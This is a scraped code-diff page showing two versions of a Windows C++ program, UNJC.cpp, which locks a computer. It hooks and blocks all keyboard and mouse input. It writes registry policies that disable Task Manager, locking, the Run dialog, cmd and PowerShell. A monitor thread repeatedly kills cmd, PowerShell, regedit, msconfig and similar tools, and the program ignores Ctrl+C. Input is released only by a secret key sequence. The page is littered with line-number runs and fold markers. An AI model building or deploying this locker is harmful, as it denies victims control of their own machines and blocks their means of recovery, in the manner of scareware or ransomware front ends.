0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegSetValueEx(hKey, "NoFind", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 使用更安全的方法:创建AppCompatFlags阻止命令行程序运行if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {// 阻止cmd.exe运行RegSetValueEx(hKey, "C:\\Windows\\System32\\cmd.exe", 0, REG_SZ,(const BYTE*)"RUNASINVOKER", 12);// 阻止powershell.exe运行RegSetValueEx(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", 0, REG_SZ,(const BYTE*)"RUNASINVOKER", 12);RegCloseKey(hKey);}}// 修改 UnblockCommandPrompts 函数,移除环境变量相关的操作void UnblockCommandPrompts() {HKEY hKey;// 恢复命令提示符if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 恢复 PowerShellif (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "Disable");RegCloseKey(hKey);}// 恢复运行和查找功能if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegDeleteValue(hKey, "NoFind");RegCloseKey(hKey);}// 移除AppCompatFlags限制if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "C:\\Windows\\System32\\cmd.exe");RegDeleteValue(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");RegCloseKey(hKey);}}bool TerminateProcessByName(const std::string& processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) {return false;}PROCESSENTRY32 pe;pe.dwSize = sizeof(PROCESSENTRY32);bool found = false;if (Process32First(hSnapshot, &pe)) {do {if (_stricmp(pe.szExeFile, processName.c_str()) == 0) {// Found target processHANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);if (hProcess != NULL) {TerminateProcess(hProcess, 0);CloseHandle(hProcess);found = true;}}} while (Process32Next(hSnapshot, &pe));}CloseHandle(hSnapshot);return found;}3 行未改动}void securityMonitorThread() {while (!shutdownFlag) {// Check and terminate Task Manager if runningTerminateTaskManager();// Check and terminate command prompts if running - 更全面的列表const char* blockedProcesses[] = {"cmd.exe","powershell.exe","pwsh.exe","conhost.exe","wscript.exe","cscript.exe","bash.exe", // WSL"wsl.exe", // WSL"cmd.hta", // HTML ApplicationNULL};for (int i = 0; blockedProcesses[i] != NULL; i++) {TerminateProcessByName(blockedProcesses[i]);}// Check if registry was modifiedHKEY hKey;if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, KEY_READ, &hKey) == ERROR_SUCCESS) {DWORD value = 0;DWORD size = sizeof(value);if (RegQueryValueEx(hKey, "DisableTaskMgr", NULL, NULL, (LPBYTE)&value, &size) != ERROR_SUCCESS || value != 1) {DisableSecurityOptions();}RegCloseKey(hKey);}// Additional protection: Block Alt key state to prevent Alt+F4if (disableInput && (GetAsyncKeyState(VK_MENU) & 0x8000)) {// Simulate Alt key up to break Alt+F4 combinationINPUT input[2] = {0};input[0].type = INPUT_KEYBOARD;input[0].ki.wVk = VK_MENU;input[0].ki.dwFlags = KEYEVENTF_KEYUP;input[1].type = INPUT_KEYBOARD;input[1].ki.wVk = VK_F4;input[1].ki.dwFlags = KEYEVENTF_KEYUP;SendInput(2, input, sizeof(INPUT));}std::this_thread::sleep_for(std::chrono::milliseconds(500)); // 适中的监控频率}}int main() {// Set signal handler to ignore Ctrl+Csignal(SIGINT, sigint_handler);// Initialize unlock sequence and generate random targetinitializeSecretSequence();// Install keyboard hookHHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);if (keyboardHook == NULL) {std::cerr << "Failed to install keyboard hook!" << std::endl;return 1;}// Install mouse hookHHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, NULL, 0);if (mouseHook == NULL) {std::cerr << "Failed to install mouse hook!" << std::endl;return 1;}// Disable security optionsDisableSecurityOptions();// Start security monitoring threadstd::thread monitorThread(securityMonitorThread);// Set cleanup function on exitatexit([]() {EnableSecurityOptions();shutdownFlag = true;});// Message loopMSG msg;while (!shutdownFlag) {if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {3 行未改动}else std::this_thread::sleep_for(std::chrono::milliseconds(10));}// CleanupUnhookWindowsHookEx(keyboardHook);UnhookWindowsHookEx(mouseHook);shutdownFlag = true;if (monitorThread.joinable()) monitorThread.join();// Restore security optionsEnableSecurityOptions();std::cout << "Input unlocked. Program exiting." << std::endl;return 0;}```123456789101112131415161718192021222324252627282914 行未改动444546474849505152535455565758596010 行未改动71727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541552 行未改动1581591601611621631641651663 行未改动1701711721731741751761771785 行未改动1841851861871881891901911921931941951961971981992002012022032042052062072082092105 行未改动2162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474483 行未改动4524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225233 行未改动527528529530531532533534535536537538539540541542543544545546547548## UNJC.cpp```cpp#include <windows.h>#include <tlhelp32.h>#include <iostream>#include <string>#include <atomic>#include <thread>#include <chrono>#include <random>std::atomic <bool> disableInput(true); // Input disable flagstd::atomic <bool> shutdownFlag(false); // Program shutdown flagstd::atomic <size_t> sequencePosition(0); // Current sequence positionstd::atomic <bool> sequenceActive(false); // Sequence input active statusstd::atomic <long long> lastKeyTime(0); // Last key press timestatic const std::vector <std::vector <DWORD> > unlockCombinations = {Your Keys Here};// 函数声明void sigint_handler(int sig);long long getCurrentTime();bool checkUnlockCombination(DWORD vkCode);bool checkContinuousSequence(DWORD vkCode);LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);LRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam);void DisableSecurityOptions();void EnableSecurityOptions();14 行未改动std::chrono::system_clock::now().time_since_epoch()).count();}// Check for unlock combination keysbool checkUnlockCombination(DWORD vkCode) {static std::vector <size_t> combinationPositions(unlockCombinations.size(), 0);static long long lastCheckTime = getCurrentTime();long long currentTime = getCurrentTime();// Timeout reset all sequencesif (currentTime - lastCheckTime > 60000) // 60 second timeoutfor (size_t i = 0;i < combinationPositions.size();i++) combinationPositions[i] = 0;lastCheckTime = currentTime;for (size_t i = 0;i < unlockCombinations.size();i++) {10 行未改动return false;}bool checkContinuousSequence(DWORD vkCode) {static std::vector <DWORD> inputBuffer;static long long lastInputTime = getCurrentTime();long long currentTime = getCurrentTime();// Reset buffer if more than 10 seconds between key pressesif (currentTime - lastInputTime > 10000) inputBuffer.clear();lastInputTime = currentTime;// Add current key to bufferinputBuffer.push_back(vkCode);// Keep buffer size reasonableif (inputBuffer.size() > 20) inputBuffer.erase(inputBuffer.begin());// Check if buffer contains any of the unlock combinationsfor (const auto& combination : unlockCombinations) {if (inputBuffer.size() >= combination.size()) {for (size_t i = 0;i <= inputBuffer.size() - combination.size();i++) {bool match = true;for (size_t j = 0;j < combination.size();j++) {if (inputBuffer[i + j] != combination[j]) {match = false;break;}}if (match) {inputBuffer.clear();return true;}}}}return false;}// Check secret sequencebool checkSecretSequence(DWORD vkCode) {long long currentTime = getCurrentTime();// Reset sequence if no key pressed for 2 secondsif (currentTime - lastKeyTime > 2000) {sequencePosition = 0;sequenceActive = false;}lastKeyTime = currentTime;if (!sequenceActive) {// Check if sequence starts (first key)if (vkCode == unlockCombinations[0][0]) { // 修复这里sequenceActive = true;sequencePosition = 1;return false;}}else {// Check next key in sequenceif (sequencePosition < unlockCombinations[0].size() && // 添加边界检查vkCode == unlockCombinations[0][sequencePosition]) {sequencePosition++;if (sequencePosition == unlockCombinations[0].size()) { // 修复这里// Sequence completedsequencePosition = 0;sequenceActive = false;return true;}}else {// Key doesn't match, reset sequencesequencePosition = 0;sequenceActive = false;}}return false;}// Keyboard hook, monitor all keys2 行未改动KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;// Check various unlock conditionsif (checkUnlockCombination(vkCode) ||checkSecretSequence(vkCode) ||checkContinuousSequence(vkCode)) {disableInput = false;shutdownFlag = true;3 行未改动// Block all keyboard inputif (disableInput) {// Specifically block system shortcuts including Win+L, Win+D, Alt+F4, etc.if (vkCode == VK_ESCAPE || vkCode == VK_TAB ||vkCode == VK_LWIN || vkCode == VK_RWIN ||vkCode == 'L' || vkCode == 'D' || // Block Win+L (lock), Win+D (desktop)vkCode == VK_F4 || // Block F4 key (part of Alt+F4)(GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_MENU) && vkCode == VK_DELETE) || // Ctrl+Alt+Del5 行未改动}return 1; // Block all other keyboard input}}// Also block Alt+F4 when Alt key is pressed and F4 is releasedif (nCode >= 0 && wParam == WM_KEYUP) {KBDLLHOOKSTRUCT* pKey = (KBDLLHOOKSTRUCT*)lParam;DWORD vkCode = pKey -> vkCode;if (disableInput && vkCode == VK_F4 && GetAsyncKeyState(VK_MENU) & 0x8000) return 1; // Block F4 key release when Alt is held down}return CallNextHookEx(NULL, nCode, wParam, lParam);}// Mouse hook, block all mouse inputLRESULT CALLBACK MouseProc(int nCode, WPARAM wParam, LPARAM lParam) {if (disableInput) {// 扩展鼠标操作禁用范围if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN ||wParam == WM_MBUTTONDOWN || wParam == WM_MOUSEWHEEL ||wParam == WM_LBUTTONUP || // 移除重复的 WM_MOUSEWHEELwParam == WM_RBUTTONUP || wParam == WM_MBUTTONUP ||wParam == WM_LBUTTONDBLCLK || wParam == WM_RBUTTONDBLCLK ||wParam == WM_MBUTTONDBLCLK || wParam == WM_XBUTTONDOWN ||wParam == WM_XBUTTONUP || wParam == WM_XBUTTONDBLCLK) {5 行未改动void DisableSecurityOptions() {HKEY hKey;DWORD value = 1;// Disable Task Managerif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableTaskMgr", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Lock Workstationif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "DisableLockWorkstation", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// Disable Run dialogif (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}// 禁用U盘自动运行功能 - 通过修改注册表HKEY hKeyAutoRun;DWORD disableValue = 0xFF; // 禁用所有驱动器的自动运行// 方法1: 通过Explorer键值禁用if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD,(const BYTE*)&disableValue, sizeof(disableValue));RegCloseKey(hKeyAutoRun);}// 方法2: 通过MountPoints2权限控制彻底禁用:cite[1]:cite[5]HKEY hKeyMountPoints;if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2",0, KEY_WRITE, &hKeyMountPoints) == ERROR_SUCCESS) {// 设置权限拒绝所有用户访问(需要更复杂的ACL操作,这里简化实现)// 实际应用中可能需要使用SetSecurityInfo或SetNamedSecurityInfo函数// 这里通过设置特殊值来模拟权限限制DWORD denyAccess = 1;RegSetValueEx(hKeyMountPoints, "DisableAutoRun", 0, REG_DWORD,(const BYTE*)&denyAccess, sizeof(denyAccess));RegCloseKey(hKeyMountPoints);}// 方法3: 禁用所有驱动器的自动运行(更彻底的方法)if (RegCreateKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKeyAutoRun, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKeyAutoRun, "NoDriveTypeAutoRun", 0, REG_DWORD,(const BYTE*)&disableValue, sizeof(disableValue));RegCloseKey(hKeyAutoRun);}}void EnableSecurityOptions() {HKEY hKey;// 恢复 HKEY_CURRENT_USER 下的系统策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableTaskMgr");RegDeleteValue(hKey, "DisableLockWorkstation");RegCloseKey(hKey);}// 恢复 Explorer 策略if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegCloseKey(hKey);}// 恢复命令行相关设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 强制刷新注册表更改SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Policy", SMTO_BLOCK, 1000, NULL);SendMessageTimeout(HWND_BROADCAST, WM_SETTINGCHANGE, 0,(LPARAM)"Windows", SMTO_BLOCK, 1000, NULL);// 恢复命令行功能UnblockCommandPrompts();// 恢复U盘自动运行设置// 删除Explorer中的自动运行限制if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoDriveTypeAutoRun");RegCloseKey(hKey);}// 恢复MountPoints2的设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\MountPoints2",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableAutoRun");RegCloseKey(hKey);}// 删除本地机器中的自动运行限制if (RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoDriveTypeAutoRun");RegCloseKey(hKey);}}// 阻止命令行程序通过注册表void BlockCommandPrompts() {HKEY hKey;DWORD value = 1;if (RegCreateKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, NULL, 0, KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {RegSetValueEx(hKey, "NoRun", 0, REG_DWORD, (const BYTE*)&value, sizeof(value));RegCloseKey(hKey);}}void UnblockCommandPrompts() {HKEY hKey;// 恢复运行功能if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "NoRun");RegCloseKey(hKey);}// 恢复命令行禁用设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\System",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "DisableCMD");RegCloseKey(hKey);}// 恢复 PowerShell 禁用设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Policies\\Microsoft\\Windows\\PowerShell",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "Disable");RegCloseKey(hKey);}// 恢复 AppCompatFlags 设置if (RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows NT\\CurrentVersion\\AppCompatFlags\\Layers",0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {RegDeleteValue(hKey, "C:\\Windows\\System32\\cmd.exe");RegDeleteValue(hKey, "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe");RegCloseKey(hKey);}}bool TerminateProcessByName(const std::string& processName) {HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (hSnapshot == INVALID_HANDLE_VALUE) return false;PROCESSENTRY32 pe;pe.dwSize = sizeof(PROCESSENTRY32);// 获取当前进程ID和父进程IDDWORD currentProcessId = GetCurrentProcessId();DWORD parentProcessId = 0;// 使用简单的方法获取父进程IDHANDLE hCurrentProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, currentProcessId);if (hCurrentProcess) {// 使用 Process32First/Next 来查找当前进程的父进程IDif (Process32First(hSnapshot, &pe)) {do {if (pe.th32ProcessID == currentProcessId) {parentProcessId = pe.th32ParentProcessID;break;}} while (Process32Next(hSnapshot, &pe));}CloseHandle(hCurrentProcess);}// 重新开始遍历进程Process32First(hSnapshot, &pe);bool found = false;do {if (_stricmp(pe.szExeFile, processName.c_str()) == 0) {// 跳过系统关键进程、当前进程和父进程if (pe.th32ProcessID == currentProcessId ||pe.th32ProcessID == parentProcessId ||pe.th32ProcessID == 0 ||pe.th32ProcessID == 4) { // System and Idle processescontinue;}HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pe.th32ProcessID);if (hProcess != NULL) {// 尝试优雅终止if (TerminateProcess(hProcess, 0)) found = true;CloseHandle(hProcess);}}} while (Process32Next(hSnapshot, &pe));CloseHandle(hSnapshot);return found;}3 行未改动}void securityMonitorThread() {while (!shutdownFlag) {if (!shutdownFlag) { // 只在未关闭时监控// Check and terminate Task Manager if runningTerminateTaskManager();// Check and terminate command prompts if runningconst char* blockedProcesses[] = {"cmd.exe","powershell.exe","pwsh.exe","conhost.exe","wscript.exe","cscript.exe","bash.exe", // WSL"wsl.exe", // WSL"regedit.exe","msconfig.exe","mmc.exe",NULL};for (int i = 0;blockedProcesses[i] != NULL && !shutdownFlag;i++) TerminateProcessByName(blockedProcesses[i]);}std::this_thread::sleep_for(std::chrono::milliseconds(500));}}bool IsRunningAsAdmin() {BOOL isAdmin = FALSE;PSID adminGroup = NULL;SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID,DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &adminGroup)) {if (!CheckTokenMembership(NULL, adminGroup, &isAdmin)) isAdmin = FALSE;FreeSid(adminGroup);}return isAdmin;}int main() {if (!IsRunningAsAdmin()) {MessageBox(NULL, "Please run this program as administrator", "Permission Error", MB_ICONERROR | MB_OK);return 1;}// Set signal handler to ignore Ctrl+Csignal(SIGINT, sigint_handler);// Install hooksHHOOK keyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);HHOOK mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseProc, NULL, 0);if (keyboardHook == NULL || mouseHook == NULL) {std::cerr << "Failed to install hooks!" << std::endl;return 1;}// Disable security optionsDisableSecurityOptions();// Start security monitoring threadstd::thread monitorThread(securityMonitorThread);// Message loopMSG msg;while (!shutdownFlag) {if (PeekMessage(&msg, NULL, 0, 0, PM_REMOVE)) {3 行未改动}else std::this_thread::sleep_for(std::chrono::milliseconds(10));}// Cleanup - 确保正确的顺序shutdownFlag = true;// 等待监控线程退出if (monitorThread.joinable()) monitorThread.join();// 恢复系统设置EnableSecurityOptions();// 卸载钩子UnhookWindowsHookEx(keyboardHook);UnhookWindowsHookEx(mouseHook);// 确保系统有足够时间恢复std::this_thread::sleep_for(std::chrono::seconds(1));return 0;}```